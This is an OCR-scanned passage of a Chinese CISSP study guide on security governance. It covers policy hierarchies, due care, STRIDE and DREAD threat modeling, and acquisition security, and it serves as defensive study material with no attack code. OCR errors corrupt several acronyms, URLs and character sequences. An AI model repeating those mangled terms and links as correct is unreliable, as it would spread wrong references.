目 标映射到商业 目标中。 COBIT 5 的 基础是企业 IT 治理和管理的 5 条关键原则: 原则 1 : 满足利益
相关者的需求; 原则 2: 对企业做到端到端的覆盖: 原则 3 : 使用单一的集成框架; 原则 4: 使用整
合处理法: 原则 5: 把治理从管理中 分离出来。 COBIT 不仅可用于计划组织的 盯 安全， 也可以作为
组织审计师的指导方针。
幸运的是， 这一考试只是参考了 COBIT的大体内容， 不需要了解很多详细内容。 但是如果对这
个概念有兴趣， 可访问ISACA网站(www.isaca. org) ， 或者如果想有个总体概览， 可阅读维基百科对
COBIT条 目 的解释 。 IT安全还有很多 其他的标准和指导方针 ， 包括 《 开源安全测试方法手册》
(OSST胁。 、 ISO/IEC 27002(取代 了 ISO 1 7799)和信 息技术基础设施库(lTIL， 更多信息可参见
www.itlibrary.org)。
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1 .2.5 应尽关注和应尽职责
为什么规划安全计划如此重要? 一个原因就是， 这是应尽关注和应尽职责的要求。 应尽关注是
通过合理的关注保护组织利益。 应尽职责是不断实践能够维持应尽关注成果的活动。 例如， 应尽关
注会开发规范化的安全结构， 这个结构会包含安全策略、 标准、 基线、 指导方针和程序: 而应尽职
第1章 通过原则和策略的安全治理
责是继续将这个安全结构应用到机构的π基础设施中。 操作性安全需要组织内各责任方都能够对应
尽关注和应尽职责保持持续不断的维护 。
当今的商业环境， 必须要谨慎。 做到应尽关注与应尽职责是唯一能够证明损失发生不是因为疏
忽 的方法。 高管必须做到应尽关注和应尽职责才能在 出现损失时减少他们的过失和责任 。
1 .3 开发和文档化安全策略 、 标准 、 指导方针和程序
对于大多数的组织来说， 维护安全性是业务发展的重要组成部分。 如果安全受到严重危害， 那
么许多组织就无法正常运作 。 为了减少出现安全故障的可能性， 已经在一定程度上规范了实现安全
性的过程。 这种规范化过程大大减少了为 盯 基础架构设计和实现安全解决方案中 的混乱和复杂性
(开发和实现文档化的安全策略、 标准、 指导方针和程序能产生坚实可靠的安全基础设施。 安全解决
方案的规范化采取了 文档 的分级组织形式， 每个级别都关注信息和问题中的一个特定类型或类别。
1 .3.1 安全策略
规范化的最高层次被称为安全策略。 安全策略是一个文挡， 这个文档定义了组织所需的安全范
围 ， 并且讨论了需要保护的资产以及安全解决方案为提供必要保护而应当涉及的范围。 安全策略概
述或归纳了组织的安全需求， 定义了 主要的安全 目 标， 井且概述了 组织的安全架构。 安全策略还确
定 了数据处理的主要功能领域， 并且澄清和定义了 所有相关的术语。 安全策略应当清楚地定义为什
么 安全性很重要以及哪些资产是有价值的。 它是实现安全性的战略计划。 安全策略应当广泛地概括
出用于保护组织切身利益的安全 目 标和原则。 文档讨论了安全性对于 日常营业每个方面的重要性以
及高层职员对实现安全措施予 以支持的重要性。 安全策略被用于分配职责 、 定义角色、 指定审计要
求、 概述实施过程、 指 明遵循要求以及定义可接受的风险级别。 这个文档通常用于证明高层管理部
门 为保护不遭受入侵 、 攻击和灾难予 以应有的 关注 。 安全策略是强制性的。
许多组织都采用多种类型的安全策略来定义或概括它们整体的安全策略。 组织安全策略的重点
集中在与组织所有方面的相关问题上。 特定问题的安全策略集中在特定的网络服务、 部门、 功能或
有别于组织整体的其他方面。 特定系统的安全策略关注个别系统或系统类型， 并且规定了被认可的
硬件和软件， 概述了 锁定系统的方法， 甚至委托防火墙或其他特定的安全控制 。
除了这些针对特定部分的安全策略类型以外， 还有三种综合的安全策略类别; 规章式的策略、
建议式的策略和信息式的策略。 只要行业或法律标准适用于你的组织 ， 那么就需要规章式的策略
(regulatory policy)。 这种策略讨论了 必须遵守的规章制度， 并概略说明 了 用于让人们遵守规章制度的
安全措施。 建议式的策略(advisory policy)讨论可接受的行为和活动， 并且定义违背安全性的后果。
这种策略解释了 高层管理部门对组织内部安全和遵守规定的期望。 大多数安全策略都是建议性的 。
信息式的策略(inforrnative policy)被设计用于提供特定主体的相关信息或知识， 例如公司 目标、 任务
声明或者组织如何与合作伙伴和客户 进行交流。 信息式的策略提供了 与整个策略特定元素相关的支
持 、 研 究或背景信息 。
从安全策略可以 引 出完整安全解决方案所需的其他很多文档或子元素。 策略是广泛的概述， 而
标准、 基准、 指导方针和程序包括了 更加特定的、 详细的与实际安全解决方案有关的信息。 标准处
于安全策略 的下一个层次。
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CISSP 官方学 习指南(第 7 版)
安全策略与个体
作为一条经验法则 ， 安全策略(以及标准 、 指 南和程序)应 当 不针对特定的个体。 安全策略并不
为 某个人分配任务和职责， 而是为 特定的 角 色定义任务和职责。 这个角 色可能具有行政管理控制或
人员管理职责。 因此， 安全策咯会定义安全基础架构 内不同角 色必须执行的操作， 而 不会定义哪些
人 负 责做哪些事情。 随后 ， 这些 已定义的 角 色作为 工作描述或指定的 工作任务被分配给个人。
可接受的使用策略
可接受的使用 策略是一个常规生成的文档， 它属于整个安全文档记录基础架构的一部分。 可接
受的使用 策略羊皮特别设计用 于分配组织 内 的安全角 色以及确保职责与这些角 色相联系 。 此策略定义
了 可接受的性能级别 以及对行为和动作的期望。 不遵循该策略会导致工作行动警告、 惩罚或解聘。
1 .3.2 安全标准 、 基准及指南
一旦设定了主要的安全策略， 就可以在这些策略的指导下拟定剩余的安全文档。 标准为硬件、
软件、 技术和安全控制方法的统一使用定义了强制性要求。 标准提供了 操作过程， 在这个过程中 ，
整个组织内部统一实现技术和措施 。 标准是战术文档， 定义了达到安全策略指定的 目 标和总体方向
的 步骤或方法。
下一个层次是基准。 基准定义了安全性的最低级别， 组织中 的所有系统都必须达到基准要求。
没有达到基准的所有系统都应该被排除在生产系统之外， 直至这些系统被提升达到基准要求为止。
基准建立了 通用 的安全状态基础， 所有附加的和更严格的安全措施可以被建立在这个基础之上。 基
准通常是系统特定的 ， 并且往往指的是行业或政府标准， 例如可信任计算机系统评估标准σCSEC)、
信息技术安全评估和标准(ITSEC) 以及 NIST(美国 国家标准技术研究院)标准。
指南是规范化安全策略结构的下一个元素。 指南提供了 如何实现标准和基准的建议， 井且能够
作为安全专家和用户 的操作指南。 指南具有灵活性， 因此为了适合每种特定的系统或条件， 它们可
以被定制， 并且能够在新措施的创建过程中使用。 指南说明 了 应当部署哪些安全机制 ， 而不是规定
特定的产品或控制 以及详细的配置设置。 指南概述了一套方法(包括行动建议)， 但并非强制性的 。
1 .3.3 安全程序
18
程序是规范化安全策略结构的最后一个要素。 程序是详细的 、 按部就班的指导文档， 它描述了
实现特定安全机制、 控制或解决方案所需的确切行动。 l�}芋可以讨 论整个系统的部署操作或者关注
单个产品或方面， 例如部署防火墙或更新病毒定义。 大多数情况下 ， 程序仅限于具体的系统和软件 。
随着系统硬件和软件的发展， 手里芋必须被不断更新。 程序的 目 的是确保业务流程的完整性。 如果通
过某个详细的程序能够达到所有目的， 那么所有活动都应当遵循策略、 标准和指导方针。 程序有助
于在所有系统之间确 保安全性的标准化。
通常， 策略、 标准、 基准、 指导方针和程序只是在顾问或审计人员 的敦促下， 作为事后产生的
想法进行发展。 如果这些文档没有被使用和更新 ， 那么安全环境的管理就无法将它们作为指南使用 。
如果没有这些文档提供的计划编制 、 设计、 结构和监督， 就无法维持环境的安全， 也无法代表己经
第1王军 通过原则和策略的安全治理
尽 责并给予适度的关注 。
此外， 开发一个包含上述所有元素方面的文档是-种惯用做法。 事实上， 我们应该避免这种做
法。 这些结构中的每一个都必须作为独立的实体存在， 其原因在于每种结构执行不同的特殊功能。
在规范化结构的顶层(也就是安全策略)， 因为只包含全面的、 一般性的观点和 目 标， 所 以文档较少。
在规范化结构的较低层(也就是指南和程序)有 比较多的文挡， 因 为它们包含数量有限的系统、 网络、
部 门和区域的特定详细信息 。
将这些文档作为独立的实体保存 ， 具有 以下一些好处:
• 不是所有的用户都需要 知道所有安全分类层次中 的 安全标准、 基准、 指导方针和程序。
• 当发生变化时， 可 以较为方便地只更新和重新分配受影响的资源， 而不用更新整个策略以
及在整个组织机构 中进行重新分配。
拟定整个安全策略及所有支持性文档是一个令人畏惧的任务。 许多组织只是致力于定义基本的
安全参数， 较少详细说明 日常活动的每个方面。 不过在理论上， 详细和完整的安全策略以针对性的、
有效的和特定的方式支持现实生活中 的安全性。 如果安全策略文档相当完整， 就可以用于指导决策、
培训新用 户 、 回应问题以及预测未来的发展趋势。 安全策略不应当是一种事后的考虑或想法， 而应
当 是建立组织的一个关键部分。
对包含完整安全策略的文档的理解还有一些其他视角 。 图 1 .6 展示了这些组件的依赖关系 : 策
略、 标准、 指南和程序。 安全策略是有组织的安全文档的总体结构的 基础。 然后， 标准基于策略井
受规章制度的管辖。 指南从中衍生而来。 最后， 程序基于结构的三个基本层。 使用倒金字塔来表示
每个文档的体积或大小 。 完整安全策略中 的程序通常都要比任何单个元素中 的程序要多得多。 相比
较而言 ， 指南要比策略少， 标准也比策略少， 并且通常整体或全组织范围内 的安全策略甚至也更少。
程序
指导方针
标准
图 1 .6 完全策略组件的 比较关系
1 .4 理解和应用 威胁建模
威胁建模是潜在威胁被识别、 分类和分析的安全流程。 威胁建模在设计和开发过程中可以作为
一种积极主动的措施执行 ， 而产品一旦被部署， 就会被作为一种被动式措施。 在这两种情况下 ， 流
程会识别潜在危害 、 发生的概率、 问 题优先级 以及消除或减少威胁的手段。
威胁建模并不意味着是一个单独的事件 。 相反， 组织在系统设计流程早期就开始威胁建模并在
整个系统周 期 内 一直持续是很常见的 。 例如， 微软使用安全开发生命周 期(Security Development
Lifi四ycle， SDL)流程在产品 的每个开发阶段考虑和实现安全。 这支撑了这句箴言 " 设计安全、 默认
安全、 部署和沟通安全 " (也称为 SD3 + c)。 这一流程有两个 目标:
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CISSP 官方学 习指南(第 7 版)
• 减少安全相关的设计和编码缺陷 的数量
• 降低剩余缺陷的严重程度
换句话说， 试 图减少漏洞 ， 降低任何存在缺陷的影响 。 总的结果是减少风险。
威胁建模的主动式方法发生于系统开发的早期阶段， 特别是在初始设计和规范建立阶段。 这种
类型的威胁建模也被称为防御方式。 这种方式基于编码和制作流程中对威胁的预测和特定防御中 的
设计， 而不是依靠部署后的更新和补丁。 大多数情况下， 集成安全解决方案更符合成本效益， 比后
面硬塞的方案更成功 。 遗憾的是， 并不是所有的威胁都可以在设计阶段预测出来， 所以仍然需要被
动式的威胁建模来解决不可预见的 问题 。
威胁建模的被动式方法发生在产品被创建和部署之后 。 此部署可以在测试或实验室环境中 ， 或
是指被部署到一般市场上。 这种类型的威胁建模也被称为对抗方式。 这种威胁建模的技术是道德黑
客攻击、 渗透测试、 代码审查和模糊测试背后的核心概念。 尽管这些流程通常有助于发现需要解决
缺陷和威胁， 但遗憾的是， 它们需要额外的编码努力来增加到新对策中 。 从长远来看， 回到设计阶
段可能会产生更好的产品， 但从头开始是非常昂贵的， 并会造成产品发布时间的极大延迟。 因此，
捷径是在部署后精心制作需要增加到产品中 的更新或补丁。 这样的结果就是， 可能在牺牲了功能性
和用户友好性的前提下 ， 也 未带来更有效的安全改进(相 比主动式威胁建模来说)。
注意 :
模糊测试是一项专 门 的动态测试J支术， 它 向软件提供了许多 不 同 类型 的输入， 来强调其局限性
并发现先前未被发现的缺陷。 模糊测试软件向软件提供无效输入， 可能是随机生成， 也可能是专 门
制作以触发已知的软件漏洞 。 然后， 模糊测试者会监控应用程序 的性能， 观察软件崩渍、 缓冲 区 溢
出 或其他不 良和战不可预知的结果。 可参考第 1 5 章 "安全评估和测试" 以查看更多 有 关模糊测试
的内容。
1 .4.1 识别威胁
可能的威胁几乎是无限的， 所以使用一种结构化的方法来准确地识别相关威胁是很重要的。 例
如 ， 一些组织使用 以 下三种方法中 的一种或多种:
关注资产 这种方法使用资产的估值结果， 并试图识别对于宝贵资产的威胁。 例如， 可 以评估
一个特定的资产， 以确定其是否容易受到攻击。 如果资产寄存着数据， 则可以评估访问控制来识别
能够绕过身份认证或授权机制的威胁。
关注攻击 一些组织能够识别潜在的攻击者， 并能够基于攻击者的 目 标识别他们所代表的威胁。
例如， 政府往往能够识别潜在的攻击者， 井识别攻击者想要达到的目标。 然后他们可以使用这种知
识来识别并保护他们 的相关资产。 这种方法面临的一个挑战是， 可能会出现以往未被视为一种威胁
的新攻击者。
关注软件 如果一个组织开发了 一个软件， 则可能会考虑针对软件的潜在威胁。 尽管几年前组
织一般不 自 己开发软件， 但如今这己非常常见。 具体地说， 大多数组织都有网络存在 ， 许多都创建
了自己的网页。 精美的网页带来更多的流量， 但他们也需要更复杂的编程， 并会受到更多的威胁。
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如果威胁被确定为攻击者(而不是 自 然威胁)， 那么威胁建模尝试确定攻击者可能会试图达到什
么目的。 有些攻击者可能想禁用系统， 而其他攻击者可能想要窃取数据。 一旦确认了 这种威胁， 就
会基于 目 标或动机对他们进行分类 。 此外， 将威胁和漏洞进行井列， 来识别可能通过利用漏洞给组
第1章 通过原则和策略的安全治理
织带来重大风险的常见威胁。威胁建模的一个终极 目标就是优先处理针对组织宝贵资产的潜在威胁。
当试图对威胁进行盘点并分类时， 使用指南或参考通常是有用的 。 微软开发了 一个称为 STRIDE
的威胁分类方案。 STRIDE 的使用经常与对应用程序或操作系统威胁的评估相关。 然而， 它也可 以
用 于其他情境。 ST阳DE 是 以下几个单词的首字母缩写:
• 电子欺骗(Spoo:fing)一一通过使用伪造身份获得对 目 标系统访 问 的攻击行为。 电子欺骗可以
用 于 E 地址、 MAC 地址、 用户名、 系统名称、 无线网络名称、 电子邮件地址以及许多其
他类型的逻辑标识。 当攻击者将 自 己伪装成一个合法或授权的实体时， 他们往往能够绕过
针对未授权访问 的过滤器和封锁 。 一旦电子欺骗攻击让攻击者成功访问 目标系统， 后续的
滥用 、 数据盗窃或特权提升攻击就都可以 发起 。
• 篡改σampering)-一任何对数据进行未授权的更改或操纵的行为， 不管是传输中 的数据还是
被存储的数据。 使用篡改来伪造通信或改变静态信息。 这种攻击是对完整性和可用性的侵
害 。
• 否认(Repudiation)一一用户 或攻击者否认执行了一个动作或行为的能力。 通常攻击者会否认
攻击， 以便保持合理的推读， 从而不为 自 己的行为负责。 否认攻击也可能会导致无辜的第
三方因 安全违规而受到指责 。
• 信息披露(lnforrnation disclos旧e)一一将私人、 机密或受控信息揭露、 传播给外部或未授权实
体的行为。 这可能包括客户身份信息、 财务信息或自 营业务操作细节。 信息披露可以利用
系统设计和实现错误 ， 如未能删除调试代码、 留 下示例应用程序和账户 、 未对客户端可见
内容的编程注释(如 HTML文档中 的注释)进行净化或将过于详细的错误消息暴露给用户 。
• 拒绝服务(DoS)一一指攻击试图阻止对资源的授权使用 。 这可 以通过缺陷开发、 连接重载或
流量泛滥实现。 DoS 攻击并不一定会导致对资源的完全中断; 而是会减少吞吐量或造成延
迟， 以阻碍对资源的有效利用 。 尽管大多数 DoS 攻击都是暂时的， 只 在攻击者进行袭击时
存在， 但还是存在一些永久性的 DoS 攻击。 永久 DoS 攻击可能涉及对数据集的破坏、 使用
恶意软件对软件进行替换， 或强迫可以被打断或安装错误固件的固件 flash 操作。 这些 DoS
攻击将造成系统的永久受损， 使其不能使用简单的重启或通过等待攻击者结束而恢复正常
操作 。 要从永久 DoS 攻击中恢复过来， 将 需要进行完整的系统修复和备份恢复。
• 权限提升(Elevation of privilege)一一此攻击是指有限的用户 账号被转换成拥有更大特权、 权
力和访问权的账户 。 这可能会通过盗窃或开发高级账户(如管理员或 r∞t 账户)凭证来实现。
有的系统或应用程序还可能会为原本有 限的账户 临 时或永久授予额外权力。
STRIDE 虽然通常被专门 用于应对应用程序威胁， 但也适用于其他情况， 比如网络威胁和主机
威胁。 其他的攻击可能会比网络和主机问题更具体， 比如网络嗅探和劫持、 恶意软件和主机的任意
代码执行， 但是 ST阳DE 的 6 个威胁概念使用相 当广泛。
一般来说， 威胁建模中 STRIDE 和其他工具的 目 的是考虑被危害问题的范围， 并关注攻击的 目
标或结果。 试 图识别每一个特定的攻击方法和技术是不可能完成的任务， 因为新的攻击正在不断开
发中。 虽然攻击的 目 标或 目 的仅能粗略地进行分类和分组 ， 但它们是保持相对稳定的。
警惕个人威胁 | 一 竞争通常是企业成长的 一个关键部分， 但过头的对抗性竞争会制口个人的威胁等级。 除了黑客
和心怀不满的雇员 ， 对手 、 承包商、 员 工甚至是信赖的合作伙伴都可能由于关系的恶化而对组织形
成威胁。
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CISSP 官方学习指南(第 7 版)
· 不要相信顾 问 或承包商对组织的忠诚度会如同长期 员 工一样。 承 包商和顾问实 际上就是雇
佣兵， 谁 出价高就为谁工作。 也不要把员 工的忠诚视为理所应 当 。 员 工如果对他们的 工作
环境感到 不满或觉得他们 受到 了 不公平待遇， 就有可能试图 报复。 有经济困难的 员 工可能
会有 不道德行为和违法活动 ， 他们 为 了 自 己 的 利益可能会对组织构成威胁。
· 可信的合作伙伴仅仅是值得信赖的伙伴， 前提是你们各 自 的 利益对彼此合作是友好的。 如
果最后的 合作关系 恶化或变得敌对， 那么先前的伙伴可能会采取行动 ， 对组织构成威胁。
组织的潜在威胁多种多样 。 公司面临的威胁可能来自 自然环境、 技术以及人。 大多数组织在预
防威胁上会关注 自 然灾害和 IT 攻击， 但需要注意来自个人的潜在威胁同样重要。 一定要事先想好企
业活动、 决策和交互行为带来的最好和最坏的可能结果。 识别威胁是设计防御、 减少故障、 降低危
害和避免损失的第一步。
1 .4.2 确定和用 图表示潜在攻击
一旦明 白开发的项 目 或部署的基础设施可能面临的威胁， 那么下一步是进行威胁建模， 确定可
能发生的潜在攻击概念。 通常通过创建事务中 的元素图表、 数据流指向和特权边界来完成(见图 1 .7)。
汀丁@斗己⑧
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图 1 .7 揭示威胁问题的 图表实例
这些数据流图通过可视化表示 ， 能更好地帮助理解资源和数据流动的关系。 图表流程也被称为
制作架构图 。 创建图表有助于详述商业任务、 开发流程或工作活动中每个元素的功能和 目 的细节。
一定要包括执行具体任务或操作的用户、 处理器、 应用军自芋、 数据存储和所有其他的基本要素， 这
一点十分重要。 该图表是一种高度概括， 不是对编码逻辑的详细评估。 然而， 如果系统更复杂， 则
需要创建多个图表， 关注不 同 的焦点且把细节进行不 同程度的放大。
完成图表的创建后， 要识别出 图表中涉及的所有技术， 包括操作系统、 应用程序(基于网络服务
和客户端)和协议。 需要具体到使用 的版本号和更新/补丁级别 。
接着， 识别可能对 图表中每个元素发起的攻击。 记住， 要考虑到各种形式的攻击， 包括逻辑/
第1章 通过原则和策略的安全治理
技术、 物理层面和社会层面的工具 。 例如， 一定要包括电子欺骗 、 篡改和社交工程学。 这个过程能
很快帮助你进入威胁建模的 下一阶段 : 执行降低分析。
1 .4.3 执行降低分析
威肋建模的下一步是执行降低分析。 执行降低分析是为了 分解应用程序、 系统或环境。 这个任
务的 目 的是更好地理解产品逻辑及其与外部的交互元素。 不管是应用程序、 系统还是整个环境， 都
需要被分成更小的容器或隔间。 如果关注的是软件、 电脑或操作系统， 这些可能是子程序、 模块或
客体; 如果关注的是系统或网络， 这些可能是协议: 如果关注的是企业的整个基础设施， 这些可能
是部门 、 任务和网络。 应该对识别出 的每个子元素进行评估 ， 以便理解输入、 处理、 安全性、 数据
管理、 存储和输出 。
在这个分解流程中 ， 必须 了解5个关键概念:
· 信任边界 信任或安全等级发生改变的位置。
• 数据流路径 数据在两个位置之间的流动 。
· 输入点 接收外部输入的位置。
• 特权操作 需要比标准用户账户或流程有更大特权的任何活动 ， 通常需要进行系统修改或
改变安全性。
• 安全立场和方法细节 安全策略、 安全基础和安全假设的声 明 。
把系统分解成各个组成部分能更容易识别每个元素的必要组件， 同时也能注意到漏洞和攻击点。
越能准确理解程序 、 系 统或环境的运作方式 ， 就越容易 识别威胁。
1 .4.4 优先级和响应
因为威胁要通过威胁建模进行识别， 所以 需要规定额外活动来完善整个流程。 下一步是记录归
档全部威胁。 在文档编制中 ， 应该对威胁的手段、 目 标和后果进行定义。 要考虑实施某项开发可能
需要的技术， 以及列 明潜在的对策和保障措施。
编制文档后 ， 要对威胁进行排序或定级。 可以利用各种技术完成这个过程， 如使用概率×潜在
损 失的排名 、 高/中/低评级或 D阻AD 系统。
概率×潜在损失的排名技术能产生一个代表风险严重性的编号， 编号是从 1 到 1 00， 1 00 代表可
能发生的最严重的风险。 概率和潜在损失的初始值可以在数字 1 到 1 0 之间指定， 1 是最低， 1 0 是最
高。 这些排名从某种层面看可以是武断或主观的， 但因为同一个人或同一支团队会将编号分配给自
己 的组织， 所 以仍然应该在相对准确的偏差基础上准确估值。
高/中/低的评级流程更加简单。 每个威胁都会被标注为这三种优先级标签中 的一种 。 那些有高
优先级标签的威胁需要立即解决。 那些有中优先级标签的威胁最终也要解决， 但无须立即采取行动。
那些有低优先级标签的威胁可能需要解决， 但如果解决这类威胁与整个项 目 相比需要付出很多的努
力或费用 ， 是否解决它们是可选的 。
设计 D阻AD 评级系统是为了提供灵活的评级解决方案， 其基于对每种威胁的 5 个主要问题的
回答:
• 潜在破坏一一如果威胁成真， 可能造成的损失有多严重?
• 再现性一一攻击者重现这一漏洞有多复杂 ?
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CISSP 官方学习指南(第 7 版)
• 可利用性一一实施攻击有多难?
• 受影响用户 一一有多少用户可能受到攻击的影响(按百分比)7
· 可发现性 攻击者发现弱点会有多难?
通过询问这些以及潜在的额外自定义问题， 并对这些回答标注目M几 或 3/2/ 1 值， 就可以建立
一张详细的威胁优先级表。
一旦设置了威胁的优先级， 就需要确定对这些威胁的响应。 应根据解决威胁的技术以及流程的
成本和效率， 对这些技术和流手里挂行考察权衡。 反应选项应包括调整软件架构、 改变操作和流程以
及实现防御和检测组件。
1 .5 把安全风险考虑到收购策略和实践中
将网络安全风险管理与收购策略和实践进行综合， 是确保组织安全策略成功强健的一种手段，
而不管机构的规模是什么样的。 如果在没有考虑安全性的情况下贸然购买， 那么所购买的这些产品
的固有风险将在整个部署过程中一直存在。 将收购元素的固有威胁最小化能减少安全管理成本， 并
且有可能减少安全违规。
选择带有弹性集成安全性的硬件、 软件和服务往往比选择那些没有安全基础的产品和解决方案
更贵一些。 然而， 这些额外的初始费用与满足不 良设计产品安全需求的费用相 比， 通常更具成本效
益 。 因此当考量收购成本时， 很重要的一点是要考虑产品在整个部署周期 内所有权的总花费， 而不
是只考虑初期购买和实施费用 。
收购涉及的不只是软硬件， 还包括外包、 供应商承包和顾问咨询等。 当与外部实体协同工作时，
综合安全评估同确保产 品设计考虑 了 安全 因素一样重要 。
许多情况下可能需要进行不间 断的安全监测、 管理和评估。 可能会是行业的最佳实践或规章。
组织内 部可以进行这样的评估和监测 ， 也可以 由外部审计师进行。 当有第三方参与评估和监控服务
时 ， 要记住， 外部实体需要在他们的业务操作中体现出安全性意识。 如果外部组织无法在安全的基
础上管理他们 自 己 的内部操作 ， 那他们又将如何为你提供可靠安全的管理功能呢?
在为了 安全整合而对第三方进行评估时 ， 应考虑、 以 下流程:
现场评估 访问该组织的网址， 与其成员进行交谈并观察他们的操作习惯。
公文交换和审核 调查交换数据和文档 的方式以及他们执行评估和审核的正式流程。
流程/策略审核 要求提供他们 的 安全策略、 流程/程序 、 审 查事件和响应文档的副本。
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对所有的收购设立最低限度的安全需求。 这些应该以现有的安全策略为模板。 对新的硬件、 软
件或服务的安全要求， 应该达到或超过现有基础设施的安全性。 在处理外部服务时， 一定要审查所
有的 SLA(Service-Level Agreement， 服务层级协议)， 确保承包服务中有关于安全的规定。 这可能包
括根据特定需求定制服务层面的要求。 这里有一些关于收购安全的不错资源:
• 通过收购提高网络安全和弹性。FinalReport 01 the Department 01 D彷nse and General Services
Administration(www.gsa.gov/portal/getMediaData7m巳diaId=1 8537 1)。
• NIST 牛ecial Publication 800-64 Revision 2: Securiψ Considerations in the 今'stem Development
Life Cycle(http://csrc.nist.gov/publications/nistpubs/800- 64-Rev2/SP800-64-Revision2抖。。
第才章 通过原则和策略的安全治理
1 .6 本章小结
安全治理、 管理概念与原则是安全策略和解决方案部署中 的固有元素。 它们不仅定义 了安全环
境所需的基本参数， 也定义了策略设计人员和系统实现人员为创建安全解决方案所必须达到的目的
和 目 标。
安全性的主要 目 标和 目 的包含在 CIA 三元组中 : 机密性、 完整性和可用性。 这三条原则被认为
是安全领域内 最重要的原则。 然而， 每条原则对一个特定的组织究竟有多重要， 主要取决于组织的
安 全 目 标和需求 以及安全性所受到的威胁程度。
CIA 三元组的第一条原则是机密性， 也就是客体不能暴露给未授权主体的原则。 安全机制提供
了 机密性， 也就为限制未授权主体不能访问数据、 客体或资源提供了 高级别保证。 如果存在对机密
性 的威胁， 那么就有可能发生未授权的泄漏。
CIA 三元组的第二条原则是完整性， 也就是客体保持自 身的正确性和只能由 己授权主体进行有
意识修改的原则。 如果安全机制提供了 完整性， 也就对数据、 客体和资源提供了保持原有受保护状
态并不被修改的高级别保证 ， 这包括当客体在存储、 传输或处理过程中发生的变更。 维护完整性意
味着客体本身 不会被改变， 并且管理和操纵客体的操作系统与程序实体不会受到安全威胁。
CIA 三元组的第三条原则是可用性， 也就是经过授权的主体被及时准许和不间断地访问客体的
原则。 如果安全机制提供了 可用性， 也就提供了经过授权的主体能够访问 数据、 客体和资源的高级
别保证。 可用性包括有效地、 不间断地访问客体和阻止拒绝服务攻击。 可用性还意味着支持基础设
施 的正 常运作 ， 并允许经过授权 的用户获得被授权的访 问权。
除了 CIA 三元组以外， 在设计安全策略和部署安全解决方案时， 还需要考虑其他很多与安全有
关 的概念和原则， 包括隐私性、 身 份标识、 身份认证、 授权、 可问贡性 、 不可否认性和审计。
安全解决方案的概念和原则的其他方面是保护机制的元素: 分层、 抽象、 数据隐藏以及加密。
这些元素是安全控制的常见特性。 并非所有的安全控制都必须具有这些元素， 但是许多控制通过使
用 这些机制提供对机密性、 完整性和可用性的保护 。
安全角色决定谁对组织机构的资产安全负有责任。 担任高管角色的人对任何资产损失最终负责
和承担义务， 并且对安全策略进行定义。 安全专家负责实现安全策略， 用户负责遵守安全策略。 担
任数据所有者角色的人负责对信息进行分类， 数据管理员负责维护安全环境和备份数据。 审计人员
负 责确认安全环境是否能恰当地保护资产。
规范化的安全策略结构由策略、 标准、 基准、 指导方针和程序组成。 这些独立的文档是在任何
环境中设计和实现安全的必要元素。
安全管理实践中 的一个重要方面是对变更的控制或管理。 安全环境的改变很可能引入会导致新
脆弱性出现的漏洞、 重叠、 客体丢失和疏漏。 面对变更， 能维持安全性的唯一方法是要系统地管理
变化， 这往往涉及对与安全控制和机制相关的活动进行广泛的 日 志记录、 审计和监控。 最终得到的
数据随后用于确定变更的作用者 ， 无论这些作用者是客体、 主体、 程序、 通信路径还是网络本身。
数据分类是根据数据的秘密性、 敏感性或机密性需求来保护数据的主要方式。 在设计和实现安
全系统时， 因 为某些数据项需要更高的安全性， 所以对所有的数据采取同样的处理方法是低效率的 。
在较低的安全级别保护所有的数据 ， 意味着敏感数据很容易 被访问到。 在较高的安全级别保护所有
的数据， 成本太高且对未分类的非关键数据的访问 限制太多 。 数据分类用于确定需要分配多少工作
量 、 资金和资源去保护数据 以及控制对数据的访 问 。
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CISSP 官方学 习指南(第 7 版)
安全管理计划的一个重要方面是实施适当 的安全策略。 为确保有效， 安全管理方法必须是自 上
而下的 。 启 用和定义安全策略的责任属于组织上层或高管人员 。 安全策略是为组织下层人员提供方
向的。 中层管理人员 负责把安全政策充实为具体标准、 基准、 指导方针和步骤。 对安全管理文件中
预定的参数进行配置是运营经理或安全专家的责任。 最后 ， 最终用 户 的 责任是要遵循组织的所有
安全策略。
安全管理计划编制的元素包括: 定义安全角色: 开发安全策略: 执行风险分析; 以及要求对员
工进行安全教育。 这些职责要经过管理计划开发的指导。 安全管理团队应当开发战略计划、 战术计
划和操作计划 。
威胁建模是一种安全流程， 能识别、 分类和分析潜在威胁。 威胁建模在设计开发阶段可作为一
种提前措施来执行， 或在产品被部署后作为一种被动性措施来执行。 在这两种情况下 ， 这个安全流
程能识别潜在危害 、 发生概率、 优先级 问 题 以及消除或减少威胁的手段。
将网络安全风险管理与收购策略和实践进行综合， 是确保组织安全策略成功和完善的一种手段，
而不管组织的规模是什么样的。 如果在没有考虑安全性的情况下贸然购买， 所购买的这些产品的固
有风险将在其整个部署过程中 一直存在。
1 .7 考试要点
理解 CIA 三元组的元素 : 机密性、 完整性和可用性。 机密性是客体不能暴露给未授权主体的原
则。 了解这条原则为什么重要、 支持该原则的机制、 针对该原则的攻击以及有效的对策。 完整性是
客体保持 自 身的正确性以及只能由 己授权主体进行有意识修改的原则。 了 解这条原则为什么重要、
支持该原则的机制、 针对该原则的攻击以及有效的对策。 可用性是经过授权的主体被及时准许和不
被打断地访问客体的原则。 了解这条原则为什么重要 、 支持该原则 的机制、 针对该原则的攻击以及
有效的对策。
能够解释身份标识是如何工作的。 身份标识是一个过程， 在这个过程中 ， 主体会表明身份， 并
且开始提供可问 责'性 。 主体必须向系统提供身份， 从而启 动身份认证、 授权和可问责的过程。
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理解身份认证的过程。 认证或测试所声明 身份合法性的过程就是身份认证。 身份认证要求来自
主体的附加信息必须完全对应于被表明 的身份。
了解如何在安全计划中实现授权。 一旦主体通过了 身份认证 ， 其访问还必须经过授权。 授权的
过程确保请求的活动或客体访问， 可能获得了 为通过身份认证的 身份而指派的权利和特权。
理解安全治理。 安全治理是关于组织支持 、 定义和指导安全工作的实践集合。
能够解释审计过程。 审计或监控是程序化方式， 通过这种方式， 主体在系统中经过身份认证的
行为是可问责的。 审计也是对系统中未经授权的或异常的活动进行检测的过程。 我们需要通过审计
来检测主体的恶意行为、 入侵企图和系统故障以及重构事件， 为起诉提供证据、 生成问题报告和分
析结果。
理解可问责'性的重要性。 只有在支持可问 责性时， 组织的安全策略才能够被正确实施。 换句话
说， 只 有在主体的活动可问 责时， 才能够保持安全性。 有效的可问责'性依赖于检验主体身份以及跟
踪其活动的能力。
能够解释不可否认性。 不可否认性确保活动或事件的主体无法否认所发生的事件。 不可否认性
能够防止主体宣称 自 己没有发送消息、 没有执行过某项活动或者不是某个事件 的起因。
第1章 通过原则和策略的安全治理
